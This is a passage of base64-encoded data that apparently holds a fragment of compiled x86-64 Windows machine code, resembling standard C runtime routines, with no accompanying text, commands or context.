HM8DpjgAAADPJSIvHSDkPdA1I/8FIjUAISIM4AHXzSP/BuggAAADoIIn//0iL2EiFwHR4SIM/AHRSTIvwTCv3SIsHSIPO/0j/xoA8MAB197oBAAAASI1OAejuiP//M8lJiQQ+6IuH//9Jiww+SIXJdFZMiwdIjVYB6BaI//+FwHUwSIPHCEiDPwB1tDPJ6GGH//9Ii8NIi1wkQEiLdCRISIt8JFBIg8QwQV7D6EOI///MSINkJCAARTPJRTPAM9IzyehVi///zOgniP//zMzM6R/8///MzMzpAwAAAMzMzEiJXCQISIlsJBBIiXQkGFdIg+wgSYvoSIvaSIvxSIXSdB0z0kiNQuBI9/NJO8BzD+irjv//xwAMAAAAM8DrQUiFyXQK6LNc//9Ii/jrAjP/SA+v3UiLzkiL0+jJz///SIvwSIXAdBZIO/tzEUgr30iNDDhMi8Mz0ugHff7/SIvGSItcJDBIi2wkOEiLdCRASIPEIF/DzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBIi/JIi/lIO8p1BLAB61xIi9lIiytIhe10D0iLzf8VbYwAAP/VhMB0CUiDwxBIO9514Eg73nTUSDvfdC1Ig8P4SIN7+AB0FUiLM0iF9nQNSIvO/xU4jAAAM8n/1kiD6xBIjUMISDvHddcywEiLXCQwSItsJDhIi3QkQEiDxCBfw0iJXCQISIl0JBBXSIPsIEiL8Ug7ynQmSI1a+EiLO0iF/3QNSIvP/xXkiwAAM8n/10iD6xBIjUMISDvGdd5Ii1wkMLABSIt0JDhIg8QgX8PMSIkNIWMEAMNIiVwkCFdIg+wgSIv56C4AAABIi9hIhcB0GUiLyP8VlYsAAEiLz//ThcB0B7gBAAAA6wIzwEiLXCQwSIPEIF/DQFNIg+wgM8nox7X//5BIix2zDwQAi8uD4T9IMx2/YgQASNPLM8no/bX//0iLw0iDxCBbw0iJXCQITIlMJCBXSIPsIEmL+YsK6Ie1//+QSIsdcw8EAIvLg+E/SDMdl2IEAEjTy4sP6L21//9Ii8NIi1wkMEiDxCBfw8zMzEyL3EiD7Ci4AwAAAE2NSxBNjUMIiUQkOEmNUxiJRCRASY1LCOiP////SIPEKMPMzEiJDTViBABIiQ02YgQASIkNN2IEAEiJDThiBADDzMzMSIvEU1ZXQVRBVUFXSIPsSIv5RTPtRCFoGEC2AUCItCSAAAAAg/kCD4SOAAAAg/kEdCKD+QYPhIAAAACD+Qh0FIP5C3QPg/kPdHGNQeuD+AF2aetE6JuW//9Mi+hIhcB1CIPI/+kiAgAASIsISIsVIaQAAEjB4gRIA9HrCTl5BHQLSIPBEEg7ynXyM8kzwEiFyQ+VwIXAdRLos4v//8cAFgAAAOjkh///67dIjVkIQDL2QIi0JIAAAADrP4PpAnQzg+kEdBOD6Ql0IIPpBnQSg/kBdAQz2+siSI0dTWEEAOsZSI0dPGEEAOsQSI0dQ2EEAOsHSI0dImEEAEiDpCSYAAAAAECE9nQLuQMAAADo9rP//5BAhPZ0F0iLFd0NBACLyoPhP0gzE0jTykyL+usDTIs7SYP/AQ+UwIiEJIgAAACEwA+FvwAAAE2F/3UYQIT2dAlBjU8D6AG0//+5AwAAAOjndf//QbwQCQAAg/8Ld0BBD6P8czpJi0UISImEJJgAAABIiUQkMEmDZQgAg/8IdVboypT//4tAEImEJJAAAACJRCQg6LeU///HQBCMAAAAg/8IdTJIiwXgogAASMHgBEkDRQBIiw3ZogAASMHhBEgDyEiJRCQoSDvBdDFIg2AIAEiDwBDr60iLFQ4NBACLwoPgP7lAAAAAK8gzwEjTyEgzwkiJA+sGQbwQCQAAQIT2dAq5AwAAAOhAs///gLwkiAAAAAB0BDPA62GD/wh1HugslP//SIvYSYvPSIsVa4gAAP/Si1MQi89B/9frEUmLz0iLBVWIAAD/0IvPQf/Xg/8Ld8NBD6P8c71Ii4QkmAAAAEmJRQiD/wh1rOjhk///i4wkkAAAAIlIEOubSIPESEFfQV1BXF9eW8PMzMxIixVZDAQAi8pIMxWQXwQAg+E/SNPKSIXSD5XAw8zMzEiJDXlfBADDSIlcJAhXSIPsIEiLHScMBABIi/mLy0gzHVtfBACD4T9I08tIhdt1BDPA6w5Ii8v/FbOHAABIi8//00iLXCQwSIPEIF/DzMzMiwUyXwQAw8xAU0iD7ECL2UiNTCQg6G6K/v9Ii0QkKA+200iLCA+3BFElAIAAAIB8JDgAdAxIi0wkIIOhqAMAAP1Ig8RAW8PMQFVBVEFVQVZBV0iD7GBIjWwkUEiJXUBIiXVISIl9UEiLBYILBABIM8VIiUUISGNdYE2L+UiJVQBFi+hIi/mF234USIvTSYvJ6GtFAAA7w41YAXwCi9hEi3V4RYX2dQdIiwdEi3AM952AAAAARIvLTYvHQYvOG9KDZCQoAEiDZCQgAIPiCP/C/xUTgQAATGPghcAPhHsCAABJi9RJuPD///////8PSAPSSI1KEEg70UgbwEiFwXRySI1KEEg70UgbwEgjwUg9AAQAAEiNQhB3N0g70EgbyUgjyEiNQQ9IO8F3A0mLwEiD4PDo4mwAAEgr4EiNdCRQSIX2D4T6AQAAxwbMzAAA6xxIO9BIG8lII8joW4D//0iL8EiFwHQOxwDd3QAASIPGEOsCM/ZIhfYPhMUBAABEiWQkKESLy02Lx0iJdCQgugEAAABBi87/FU6AAACFwA+EnwEAAEiDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1UyLfQCDZCQoAEmLz0iDZCQgAOgsrP//SGP4hcAPhGIBAABBuAAEAABFheh0UotFcIXAD4ROAQAAO/gPj0QBAABIg2QkQABFi8xIg2QkOABMi8ZIg2QkMABBi9WJRCQoSYvPSItFaEiJRCQg6NOr//+L+IXAD4UMAQAA6QUBAABIi9dIA9JIjUoQSDvRSBvASIXBdHZIjUoQSDvRSBvASCPBSTvASI1CEHc+SDvQSBvJSCPISI1BD0g7wXcKSLjw////////D0iD4PDojGsAAEgr4EiNXCRQSIXbD4SkAAAAxwPMzAAA6xxIO9BIG8lII8joBX///0iL2EiFwHQOxwDd3QAASIPDEOsCM9tIhdt0c0iDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1Yl8JChJi89IiVwkIOgGq///hcB0MkiDZCQ4ADPSSCFUJDBEi8+LRXBMi8NBi86FwHVmIVQkKEghVCQg/xVmfwAAi/iFwHVgSI1L8IE53d0AAHUF6Dd+//8z/0iF9nQRSI1O8IE53d0AAHUF6B9+//+Lx0iLTQhIM83oAWcAAEiLXUBIi3VISIt9UEiNZRBBX0FeQV1BXF3DiUQkKEiLRWhIiUQkIOuUSI1L8IE53d0AAHWn6Nd9///roMxIiVwkCEiJdCQQV0iD7HBIi/JJi9lIi9FBi/hIjUwkUOi/hv7/i4QkwAAAAEiNTCRYiUQkQEyLy4uEJLgAAABEi8eJRCQ4SIvWi4QksAAAAIlEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDoM/z//4B8JGgAdAxIi0wkUIOhqAMAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzEiD7CjoD4///0iNVCQwSIuIkAAAAEiJTCQwSIvI6IqQ//9Ii0QkMItADEiDxCjDzPD/QRBIi4HgAAAASIXAdAPw/wBIi4HwAAAASIXAdAPw/wBIi4HoAAAASIXAdAPw/wBIi4EAAQAASIXAdAPw/wBIjUE4QbgGAAAASI0VMwoEAEg5UPB0C0iLEEiF0nQD8P8CSIN46AB0DEiLUPhIhdJ0A/D/AkiDwCBJg+gBdctIi4kgAQAA6XkBAADMSIlcJAhIiWwkEEiJdCQYV0iD7CBIi4H4AAAASIvZSIXAdHlIjQ12DwQASDvBdG1Ii4PgAAAASIXAdGGDOAB1XEiLi/AAAABIhcl0FoM5AHUR6Cp8//9Ii4v4AAAA6I4bAABIi4voAAAASIXJdBaDOQB1EegIfP//SIuL+AAAAOh4HAAASIuL4AAAAOjwe///SIuL+AAAAOjke///SIuDAAEAAEiFwHRHgzgAdUJIi4sIAQAASIHp/gAAAOjAe///SIuLEAEAAL+AAAAASCvP6Kx7//9Ii4sYAQAASCvP6J17//9Ii4sAAQAA6JF7//9Ii4sgAQAA6KUAAABIjbMoAQAAvQYAAABIjXs4SI0F5ggEAEg5R/B0GkiLD0iFyXQSgzkAdQ3oVnv//0iLDuhOe///SIN/6AB0E0iLT/hIhcl0CoM5AHUF6DR7//9Ig8YISIPHIEiD7QF1sUiLy0iLXCQwSItsJDhIi3QkQEiDxCBf6Qp7///MzEiFyXQcSI0FDJ4AAEg7yHQQuAEAAADwD8GBXAEAAP/Aw7j///9/w8xIhcl0MFNIg+wgSI0F350AAEiL2Ug7yHQXi4FcAQAAhcB1Dej4GwAASIvL6LB6//9Ig8QgW8PMzEiFyXQaSI0FrJ0AAEg7yHQOg8j/8A/BgVwBAAD/yMO4////f8PMzMxIg+woSIXJD4SWAAAAQYPJ//BEAUkQSIuB4AAAAEiFwHQE8EQBCEiLgfAAAABIhcB0BPBEAQhIi4HoAAAASIXAdATwRAEISIuBAAEAAEiFwHQE8EQBCEiNQThBuAYAAABIjRWRBwQASDlQ8HQMSIsQSIXSdATwRAEKSIN46AB0DUiLUPhIhdJ0BPBEAQpIg8AgSYPoAXXJSIuJIAEAAOg1////SIPEKMNIiVwkCFdIg+wg6KWL//9Ii/iLDdAMBACFiKgDAAB0DEiLmJAAAABIhdt1NrkEAAAA6Caq//+QSI2PkAAAAEiLFRNPBADoJgAAAEiL2LkEAAAA6Fmq//9Ihdt1Buh3ev//zEiLw0iLXCQwSIPEIF/DSIlcJAhXSIPsIEiL+kiF0nRJSIXJdERIixlIO9p1BUiLwus5SIkRSIvK6C38//9Ihdt0IkiLy+is/v//g3sQAHUUSI0FLwUEAEg72HQISIvL6JL8//9Ii8frAjPASItcJDBIg8QgX8NAU0iD7CAz20iFyXUY6LqA//+7FgAAAIkY6Op8//+Lw+mUAAAASIXSdONFhcCIGYvDQQ9PwP/ASJhIO9B3DOiJgP//uyIAAADrzU2FyXS+SYtRCEiNQQHGATDrGUSKEkWE0nQFSP/C6wNBsjBEiBBI/8BB/8hFhcB/4ogYeBSAOjV8D+sDxgAwSP/IgDg5dPX+AIA5MXUGQf9BBOsaSYPI/0n/wEI4XAEBdfZJ/8BIjVEB6Dll/v8zwEiDxCBbw8xAVVNWV0FUQVVBVkFXSI2sJCj5//9IgezYBwAASIsFlQIEAEgzxEiJhcAGAABIiUwkOE2L8UiNTCRgTIlMJFBNi/hMiUQkcIvy6JI8AACLRCRgRTPtg+AfPB91B0SIbCRo6w9IjUwkYOjfPAAAxkQkaAFIi1wkOEi5AAAAAAAAAIBIi8NNiXcISCPBvyAAAABI99hJvP///////w8ASLgAAAAAAADwfxvJg+ENA89BiQ9Ihdh1LEmF3HUnSIuVQAcAAEyNBaPvAQBJi85FiW8E6At4//+FwA+E8REAAOkgEgAASI1MJDjoLIv//4XAdAhBx0cEAQAAAIPoAQ+ErxEAAIPoAQ+EhxEAAIPoAQ+EXxEAAIP4AQ+ENxEAAEi4/////////39Buf8HAABII9j/xkiJXCQ48g8QRCQ48g8RRCRYSItUJFhMi8KJdCRMScHoNE2FwQ+UwYrB9thIuAAAAAAAABAATRv2SSPUSffWTCPwTAPy9tkbwEUjwffY/8BBjZjM+///A9jo0jwAAOgJPAAA8g8syESJdYRBugEAAACNgQEAAICD4P732EUb5EnB7iBEI+FEiXWIQYvGRIlkJDD32BvS99pBA9KJVYCF2w+IqQIAADPAx4UoAwAAAAAQAImFJAMAAI1wAom1IAMAADvWD4VhAQAARYvFQYvIi0SNhDmEjSQDAAAPhUoBAABFA8JEO8Z15ESNWwJEiWwkOEWLy4v3QYPjH0HB6QVBK/NJi9qLzkjT40Er2kEPvcZEi+NB99R0BP/A6wNBi8Ur+EGNQQJEO99BD5fHg/hzQQ+XwIP4c3UIQYrKRYT/dQNBis1Bg83/RYTAD4WhAAAAhMkPhZkAAABBvnIAAABBO8ZED0LwRTv1dFxFi8ZFK8FDjTwIQTv5ckdEO8JzB0aLVIWE6wNFM9JBjUD/O8JzBotUhYTrAjPSQSPUi87T6kUDxUQj00GLy0HT4kEL0kONBAiJVL2EQTvFdAWLVYDrsEG6AQAAAEUz7UGLzUWFyXQPi8FBA8pEiWyFhEE7yXXxRYT/QY1GAUQPRfBEiXWA6wpFM+1Fi/VEiW2Ax4VUAQAABAAAAESLZCQwQb8BAAAARIm9UAEAAESJvSADAABEia0oAwAA6XQDAACDZCQ4AESNWwFFi8uNQv9Bg+MfQcHpBUSL/0mL2kUr+0GLz0jT40Er2ovID71EhYREi+tB99V0BP/A6wIzwCv4Qo0ECkQ730EPl8SD+HNBD5fAg/hzdQpFhOR0BUGKyusCMslBg8r/RYTAD4WgAAAAhMkPhZgAAABBvnIAAABBO8ZED0LwRTvydFxFi8ZFK8FDjTwIQTv5ck1EO8JzB0aLVIWE6wNFM9JBjUD/O8JzBotUhYTrAjPSRCPTQYvLQdPiQSPVQYvP0+pEC9JEiVS9hEGDyv9FA8JDjQQIQTvCdAWLVYDrqkUz7UGLzUWFyXQOi8H/wUSJbIWEQTvJdfJFhORBjUYBRA9F8ESJdYDrCkUz7UWL9USJbYCJtVQBAADptv7//4H7Avz//w+ELAEAADPAx4UoAwAAAAAQAImFJAMAAI1wAom1IAMAADvWD4UJAQAARYvFQYvIi0SNhDmEjSQDAAAPhfIAAABFA8JEO8Z15EEPvcZEiWwkOHQE/8DrA0GLxSv4i847/kEPksFBg83/O8pzCYvBRItEhYTrA0UzwI1B/zvCcwaLVIWE6wIz0kGLwMHqHsHgAjPQi8FBA82JVIWEQTvNdAWLVYDrw0H22UiNjSQDAABFG/Yz0kH33kQD9ivzi/5EiXWAwe8Fi99IweMCTIvD6Fhp/v+D5h9EjX8BQIrORYvHuAEAAABJweAC0+CJhB0kAwAARTPtRIm9UAEAAESJvSADAABNhcAPhD0BAAC7zAEAAEiNjVQBAABMO8MPhwcBAABIjZUkAwAA6H5f/v/pEAEAAI1C/0SJbCQ4i8gPvUSFhHQE/8DrA0GLxSv4QTv6QQ+SwYP6cw+XwYP6c3UIQYrCRYTJdQNBisVBg83/hMl1aITAdWRBvnIAAABBO9ZED0LyRTv1dD5Bi847ynMJi8FEi0SFhOsDRTPAjUH/O8JzBotUhYTrAjPSweofQ40EADPQi8FBA82JVIWEQTvNdAWLVYDrxUUz7UGNRgFFhMlED0XwRIl1gOsKRTPtRYv1RIltgEGL+kiNjSQDAAAr+zPSi/fB7gWL3kjB4wJMi8PoJ2j+/4PnH0SNfgFAis9Fi8e4AQAAANPgiYQdJAMAAEnB4ALpzf7//0yLwzPS6Pln/v/oUHn//8cAIgAAAOiBdf//RIu9UAEAALjNzMzMRYXkD4i+BAAAQffki8JIjRW4+/f/wegDiUQkSESL4IlEJECFwA+E0wMAALgmAAAARYvsRDvgRA9H6ESJbCREQY1F/w+2jIKikQgAD7a0gqORCACL2Yv4M9JIweMCTIvDjQQOSI2NJAMAAImFIAMAAOhoZ/7/SI0NUfv3/0jB5gIPt4S5oJEIAEiNkZCICABIjY0kAwAATIvGSAPLSI0Ugui4Xf7/RIudIAMAAEGD+wEPh6IAAACLhSQDAACFwHUPRTP/RIm9UAEAAOkJAwAAg/gBD4QAAwAARYX/D4T3AgAARTPATIvQRTPJQouMjVQBAABBi8BJD6/KSAPITIvBQomMjVQBAABJweggQf/BRTvPdddFhcB0NIO9UAEAAHNzGouFUAEAAESJhIVUAQAARIu9UAEAAEH/x+uIRTP/RIm9UAEAADLA6Y4CAABEi71QAQAA6YACAABBg/8BD4etAAAAi51UAQAATYvDScHgAkWL+0SJnVABAABNhcB0QLjMAQAASI2NVAEAAEw7wHcOSI2VJAMAAOjCXP7/6xpMi8Az0ug2Zv7/6I13///HACIAAADovnP//0SLvVABAACF2w+E+v7//4P7AQ+ECQIAAEWF/w+EAAIAAEUzwEyL00UzyUKLjI1UAQAAQYvASQ+vykgDyEyLwUKJjI1UAQAAScHoIEH/wUU7z3XX6QT///9FO99IjY1UAQAARYvnTI2tJAMAAA+SwEiNlVQBAACEwEwPROlFD0XjRQ9F30iNjSQDAABID0TRRTP/RTPSSIlUJDhEib3wBAAARYXkD4QaAQAAQ4t0lQBBi8KF9nUhRTvXD4X5AAAAQiG0lfQEAABFjXoBRIm98AQAAOnhAAAAM9tFi8pFhdsPhMQAAABBi/r330GD+XN0Z0U7z3UbQYvBQY1KAYOkhfQEAAAAQo0EDwPIiY3wBAAAQo0ED0WLwYsUgkH/wYvDSA+v1kgD0EKLhIX0BAAASAPQQo0ED0iL2kKJlIX0BAAARIu98AQAAEjB6yBBO8N0B0iLVCQ465OF23ROQYP5cw+EfgEAAEU7z3UVQYvBg6SF9AQAAABBjUEBiYXwBAAAQYvJQf/Bi9OLhI30BAAASAPQiZSN9AQAAESLvfAEAABIweogi9qF0nWyQYP5cw+EMAEAAEiLVCQ4Qf/CRTvUD4Xm/v//RYvHScHgAkSJvVABAABNhcB0QLjMAQAASI2NVAEAAEw7wHcOSI2V9AQAAOiyWv7/6xpMi8Az0ugmZP7/6H11///HACIAAADornH//0SLvVABAABEi2QkQESLbCREsAGEwA+EuAAAAEUr5UiNFeH39/9EiWQkQA+FNPz//4tEJEhFM+2LfCQwjQSAA8CLzyvID4QfBQAAjUH/i4SCOJIIAIXAD4SJAAAAg/gBD4QEBQAARYX/D4T7BAAARYvFRYvNRIvQQYvRQf/BQYvAi4yVVAEAAEkPr8pIA8hMi8GJjJVUAQAAScHoIEU7z3XWRYXAdE6DvVABAABzczaLhVABAABEiYSFVAEAAESLvVABAABB/8dEib1QAQAA6ZYEAABFM+1Fi/1Eia1QAQAA6YAEAABFi/1Eia1QAQAA6XUEAABEi71QAQAA6WkEAABBi8z32ffhiUwkRIvCSI0V8vb3/8HoA4lEJDhEi+CJRCRAhcAPhJcDAAC4JgAAAEWL7EQ74EQPR+hEiWwkSEGNRf8PtoyCopEIAA+2tIKjkQgAi9mL+DPSSMHjAkyLw40EDkiNjSQDAACJhSADAADoomL+/0iNDYv29/9IweYCD7eEuaCRCABIjZGQiAgASI2NJAMAAEyLxkgDy0iNFILo8lj+/4u9IAMAAIP/AQ+HhwAAAIuFJAMAAIXAdQxFM/ZEiXWA6c4CAACD+AEPhMUCAABFhfYPhLwCAABFM8BMi9BFM8lCi0yNhEGLwEkPr8pIA8hMi8FCiUyNhEnB6CBB/8FFO8513UWFwHQlg32Ac3MRi0WARIlEhYREi3WAQf/G651FM/ZEiXWAMsDpaAIAAESLdYDpXQIAAEGD/gEPh5oAAACLXYRMi8dJweACRIv3iX2ATYXAdDq4zAEAAEiNTYRMO8B3DkiNlSQDAADoI1j+/+saTIvAM9Lol2H+/+jucv//xwAiAAAA6B9v//9Ei3WAhdsPhCL///+D+wEPhPMBAABFhfYPhOoBAABFM8BMi9NFM8lCi0yNhEGLwEkPr8pIA8hMi8FCiUyNhEnB6CBB/8FFO8513ekp////QTv+SI1NhEWL5kyNrSQDAAAPksBIjVWEhMBMD0TpRA9F50EPRf5IjY0kAwAASA9E0UUz9kUz0kiJVCRYRIm18AQAAEWF5A+EGQEAAEOLdJUAQYvChfZ1IUU71g+F+AAAAEIhtJX0BAAARY1yAUSJtfAEAADp4AAAADPbRYvKhf8PhMQAAABFi9pB99tBg/lzdGZFO851G0GLwUGNSQGDpIX0BAAAAEONBBoDyImN8AQAAEONBAtFi8GLFIJB/8FID6/WQouEhfQEAABIA9CLw0gD0EONBAtIi9pCiZSF9AQAAESLtfAEAABIwesgO8d0B0iLVCRY65SF23ROQYP5cw+EVwEAAEU7znUVQYvBg6SF9AQAAABBjUEBiYXwBAAAQYvJQf/Bi8OLlI30BAAASAPQiZSN9AQAAESLtfAEAABIweogi9qF0nWyQYP5cw+ECQEAAEiLVCRYQf/CRTvUD4Xn/v//RYvGScHgAkSJdYBNhcB0OrjMAQAASI1NhEw7wHcOSI2V9AQAAOgpVv7/6xpMi8Az0uidX/7/6PRw///HACIAAADoJW3//0SLdYBEi2QkQESLbCRIsAGEwA+EmgAAAEUr5UiNFVvz9/9EiWQkQA+FdPz//4tMJERFM+2LRCQ4jQSAA8AryA+ElwAAAI1B/4uEgjiSCACFwHRig/gBD4SAAAAARYX2dHtFi8VFi81Ei9BBi9FB/8FBi8CLTJWESQ+vykgDyEyLwYlMlYRJweggRTvOddxFhcB0RYN9gHOLfCQwcy2LRYBEiUSFhESLdYBB/8ZEiXWA6y5FM+1Ii3QkUIt8JDBIi95EiW2A6YcAAABIi3QkUEiL3kSJbYDreUSLdYCLfCQwSIt0JFBIi95FhfZ0ZEWLxUWLzUGL0UH/wYtElYRIjQyAQYvATI0ESESJRJWEScHoIEU7znXdRYXAdDaDfYBzcw2LRYBEiUSFhP9FgOsjRTPJRImtIAMAAEyNhSQDAABEiW2AuswBAABIjU2E6EQ2//9IjZVQAQAASI1NgOiMFP//g/gKD4WQAAAA/8fGBjFIjV4BRYX/D4SOAAAARYvFRYvNQYvRQf/Bi4SVVAEAAEiNDIBBi8BMjQRIRImElVQBAABJweggRTvPdddFhcB0WoO9UAEAAHNzFouFUAEAAESJhIVUAQAA/4VQAQAA6ztFM8lEia0gAwAATI2FJAMAAESJrVABAAC6zAEAAEiNjVQBAADonTX//+sQhcB1BP/P6wgEMEiNXgGIBkiLRCRwi0wkTIl4BIX/eAqB+f///393AgPPSIuFQAcAAEj/yIv5SDvHSA9C+EgD/kg73w+E6AAAAEG+CQAAAIPO/0SLVYBFhdIPhNIAAABFi8VFi81Bi9FB/8GLRJWESGnIAMqaO0GLwEgDyEyLwYlMlYRJweggRTvKddlFhcB0NoN9gHNzDYtFgESJRIWE/0WA6yNFM8lEia0gAwAATI2FJAMAAESJbYC6zAEAAEiNTYTo1DT//0iNlVABAABIjU2A6BwT//9Ei9dMi8BEK9NBuQgAAAC4zczMzEH34MHqA4rKwOECjQQRAsBEKsBBjUgwRIvCRTvRcgZBi8GIDBhEA85EO851zkiLx0grw0k7xkkPT8ZIA9hIO98PhSH///9EiCvre0iLlUAHAABMjQXLngAASYvO6Hdm//+FwHRh6aUAAABIi5VABwAATI0FpJ4AAEmLzuhYZv//hcB0QumbAAAASIuVQAcAAEyNBX2eAABJi87oOWb//4XAdCPpkQAAAEiLlUAHAABMjQVWngAASYvO6Bpm//+FwA+FiAAAAEQ4bCRodApIjUwkYOghKgAASIuNwAYAAEgzzOhCTgAASIHE2AcAAEFfQV5BXUFcX15bXcNFM8lMiWwkIEUzwDPSM8noUmn//8xFM8lMiWwkIEUzwDPSM8noPWn//8xFM8lMiWwkIEUzwDPSM8noKGn//8xFM8lMiWwkIEUzwDPSM8noE2n//8xFM8lMiWwkIEUzwDPSM8no/mj//8zMSIvESIlYGEiJcCBIiVAQiEgIV0iD7CBIi8roHaT+/0iLTCQ4TGPIi1EU9sLAD4SoAAAASItMJDgz24vzSItBCIs5SP/AK3kISIkBSItEJDiLSCD/yYlIEIX/filIi1QkOESLx0GLyUiLUgjoGJz//4vwSItEJDg790iLSAiKRCQwiAHrbEGNQQKD+AF2HkmLyUiNFcw5BACD4T9Ji8FIwfgGSMHhBkgDDMLrB0iNDaHxAwD2QTggdLkz0kGLyUSNQgLovQoAAEiD+P91pUiLTCQ48INJFBCwAesZQbgBAAAASI1UJDBBi8nompv//4P4AQ+UwEiLXCRASIt0JEhIg8QgX8NIi8RIiVgYSIlwIEiJUBBmiUgIV0iD7CBIi8roGKP+/0iLTCQ4TGPIi1EU9sLAD4SsAAAASItMJDgz24vzSItBCIs5SIPAAit5CEiJAUiLRCQ4i0ggg+kCiUgQhf9+K0iLVCQ4RIvHQYvJSItSCOgRm///i/BIi0QkODv3SItICA+3RCQwZokB62xBjUECg/gBdh5Ji8lIjRXDOAQAg+E/SYvBSMH4BkjB4QZIAwzC6wdIjQ2Y8AMA9kE4IHS3M9JBi8lEjUIC6LQJAABIg/j/daNIi0wkOPCDSRQQsAHrGUG4AgAAAEiNVCQwQYvJ6JGa//+D+AIPlMBIi1wkQEiLdCRISIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgi/lIi9pIi8roEKL+/0SLQxSL8EH2wAZ1GOhjav//xwAJAAAA8INLFBCDyP/pmAAAAItDFMHoDLkBAAAAhMF0Deg8av//xwAiAAAA69eLQxSEwXQag2MQAItDFMHoA4TBdMJIi0MISIkD8INjFP7wg0sUAvCDYxT3g2MQAItDFKnABAAAdSzoEp3+/0g72HQPuQIAAADoA53+/0g72HULi87oHwEAAIXAdQhIi8voAxUAAEiL00CKz+gk/f//hMAPhF////9AD7bHSItcJDBIi3QkOEiDxCBfw0iJXCQISIl0JBBXSIPsIIv5SIvaSIvK6Cih/v9Ei0MUi/BB9sAGdRroe2n//8cACQAAAPCDSxQQuP//AADplwAAAItDFMHoDLkBAAAAhMF0DehSaf//xwAiAAAA69WLQxSEwXQag2MQAItDFMHoA4TBdMBIi0MISIkD8INjFP7wg0sUAvCDYxT3g2MQAItDFKnABAAAdSzoKJz+/0g72HQPuQIAAADoGZz+/0g72HULi87oNQAAAIXAdQhIi8voGRQAAEiL0w+3z+g+/f//hMAPhF3///8Pt8dIi1wkMEiLdCQ4SIPEIF/DzMzMSIPsKIP5/nUN6K5o///HAAkAAADrQoXJeC47DWA6BABzJkhjyUiNFVQ2BABIi8GD4T9IwfgGSMHhBkiLBMIPtkQIOIPgQOsS6G9o///HAAkAAADooGT//zPASIPEKMPMSIXJD4QAAQAAU0iD7CBIi9lIi0kYSDsNrPMDAHQF6G1g//9Ii0sgSDsNovMDAHQF6Ftg//9Ii0soSDsNmPMDAHQF6Elg//9Ii0swSDsNjvMDAHQF6Ddg//9Ii0s4SDsNhPMDAHQF6CVg//9Ii0tASDsNevMDAHQF6BNg//9Ii0tISDsNcPMDAHQF6AFg//9Ii0toSDsNfvMDAHQF6O9f//9Ii0twSDsNdPMDAHQF6N1f//9Ii0t4SDsNavMDAHQF6Mtf//9Ii4uAAAAASDsNXfMDAHQF6LZf//9Ii4uIAAAASDsNUPMDAHQF6KFf//9Ii4uQAAAASDsNQ/MDAHQF6Ixf//9Ig8QgW8PMzEiFyXRmU0iD7CBIi9lIiwlIOw2N8gMAdAXoZl///0iLSwhIOw2D8gMAdAXoVF///0iLSxBIOw158gMAdAXoQl///0iLS1hIOw2v8gMAdAXoMF///0iLS2BIOw2l8gMAdAXoHl///0iDxCBbw0iJXCQISIl0JBBXSIPsIDP/SI0E0UiL8EiL2Ugr8UiDxgdIwe4DSDvISA9H90iF9nQUSIsL6N5e//9I/8dIjVsISDv+dexIi1wkMEiLdCQ4SIPEIF/DzMxIhckPhP4AAABIiVwkCEiJbCQQVkiD7CC9BwAAAEiL2YvV6IH///9IjUs4i9Xodv///411BYvWSI1LcOho////SI2L0AAAAIvW6Fr///9IjYswAQAAjVX76Ev///9Ii4tAAQAA6Fde//9Ii4tIAQAA6Ete//9Ii4tQAQAA6D9e//9IjYtgAQAAi9XoGf///0iNi5gBAACL1egL////SI2L0AEAAIvW6P3+//9IjYswAgAAi9bo7/7//0iNi5ACAACNVfvo4P7//0iLi6ACAADo7F3//0iLi6gCAADo4F3//0iLi7ACAADo1F3//0iLi7gCAADoyF3//0iLXCQwSItsJDhIg8QgXsNNhcB1GDPAww+3AWaFwHQTZjsCdQ5Ig8ECSIPCAkmD6AF15Q+3AQ+3CivBw0BVQVRBVUFWQVdIg+xgSI1sJDBIiV1gSIl1aEiJfXBIiwXe5wMASDPFSIlFIESL6kWL+UiL0U2L4EiNTQDoWmb+/4u1iAAAAIX2dQdIi0UIi3AM952QAAAARYvPTYvEi84b0oNkJCgASINkJCAAg+II/8L/FYNdAABMY/CFwHUHM//p8QAAAEmL/kgD/0iNTxBIO/lIG8BIhcF0dUiNTxBIO/lIG8BII8FIPQAEAABIjUcQdzpIO/hIG8lII8hIjUEPSDvBdwpIuPD///////8PSIPg8OhSSQAASCvgSI1cJDBIhdt0eccDzMwAAOscSDv4SBvJSCPI6M9c//9Ii9hIhcB0DscA3d0AAEiDwxDrAjPbSIXbdEhMi8cz0kiLy+jXUv7/RYvPRIl0JChNi8RIiVwkILoBAAAAi87/FbpcAACFwHQaTIuNgAAAAESLwEiL00GLzf8VKFoAAIv46wIz/0iF23QRSI1L8IE53d0AAHUF6BRc//+AfRgAdAtIi0UAg6CoAwAA/YvHSItNIEgzzejlRAAASItdYEiLdWhIi31wSI1lMEFfQV5BXUFcXcPMzMxIi8RIiVgISIloEEiJcBhIiXggQVYz7UyNNfquAABEi9VIi/FBu+MAAABDjQQTSIv+mbtVAAAAK8LR+ExjwEmLyEjB4QROiwwxSSv5Qg+3FA+NSr9mg/kZdwRmg8IgQQ+3CY1Bv2aD+Bl3BGaDwSBJg8ECSIPrAXQKZoXSdAVmO9F0yQ+3wQ+3yivIdBiFyXkGRY1Y/+sERY1QAUU7036Kg8j/6wtJi8BIA8BBi0TGCEiLXCQQSItsJBhIi3QkIEiLfCQoQV7DzEiD7ChIhcl0Iugq////hcB4GUiYSD3kAAAAcw9IA8BIjQ3qkwAAiwTB6wIzwEiDxCjDzMxIiVwkEEiJdCQYiUwkCFdBVEFVQVZBV0iD7CBFi/hMi+JIY9mD+/51GOhaYv//gyAA6HJi///HAAkAAADpkwAAAIXJeHc7HSE0BABzb0iL80yL80nB/gZMjS0OMAQAg+Y/SMHmBkuLRPUAD7ZMMDiD4QF0SIvL6OWa//9Ig8//S4tE9QD2RDA4AXUV6Bhi///HAAkAAADo7WH//4MgAOsQRYvHSYvUi8voQwAAAEiL+IvL6I2b//9Ii8frHOjHYf//gyAA6N9h///HAAkAAADoEF7//0iDyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8NIiVwkCEiJdCQQV0iD7CBIY9lBi/iLy0iL8uhFnf//SIP4/3UR6I5h///HAAkAAABIg8j/61NEi89MjUQkSEiL1kiLyP8V4lgAAIXAdQ//FfBaAACLyOjtYP//69NIi0QkSEiD+P90yEiL00yNBQo